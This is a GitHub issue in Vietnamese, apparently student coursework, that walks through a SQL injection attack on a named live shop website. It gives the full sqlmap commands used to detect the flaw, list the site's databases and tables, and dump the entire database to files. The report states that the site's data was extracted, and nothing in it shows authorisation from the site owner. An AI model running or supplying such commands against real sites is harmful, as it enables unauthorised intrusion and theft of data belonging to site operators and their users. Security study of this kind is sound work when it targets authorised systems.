UEHMonQAQC / BI_K45

BI_K45 - UEH - BIT
12 stars 0 forks source link

[Nhóm#3] Lỗi Bảo mật SQL Injection - Trang https://china-shop1.com/index.php?page=greatwall&id=1 #468

Open 31191026769 opened 2 years ago

31191026769 commented 2 years ago

a. Web Browser: Google Chrome: Phiên bản 95.0.4638.69 (Phiên bản Chính thức) (64 bit) b. Các bước để phát hiện lỗi: i. #1 Tải file cài đặt Python và SQLMap Link cài đặt Python: https://www.python.org/downloads/ mở file vừa download chọn install for all users Link cài đặt SQLMap: https://github.com/sqlmapproject/sqlmap/zipball/master ( giải nén file)

ii.#2 Mở app command prompt image

iii, #3 Nhập cd và điều hướng file vừa giải nén vào image image

iv, #4 Nhập câu lệnh python sqlmap.py -u "https://china-shop1.com/index.php?page=greatwall&id=1" image Phát hiện có lỗi SQL Injection image image

v. #5 Nhập câu lệnh python sqlmap.py -u "https://china-shop1.com/index.php?page=greatwall&id=1" -dbs để tìm tên database của website image

Ta phát hiện được tên database là fvdstudio_china image

vi. #6 Nhập câu lệnh python sqlmap.py -u"https://china-shop1.com/index.php?page=greatwall&id=1" --tables -D fvdstudio_china để liệt kê các bảng trong database image

Phát hiện các bảng dữ liệu có thể khai thác image

vii. #7 Tiếp tục khai thác các bảng dữ liệu bằng câu lệnh python sqlmap.py -u"https://china-shop1.com/index.php?page=greatwall&id=1" --dump -D fvdstudio_china

Sau khi khai thác xong các bảng dữ liệu đã được lưu vào file image

Thu được các file Excel chứa dữ liệu của Website image image

c. Kết quả thực tế: Các bảng dữ liệu của Website đã được lấy ra d. Kết quả mong đợi: Lấy được dữ liệu của Website

image

31191026769 commented 2 years ago

1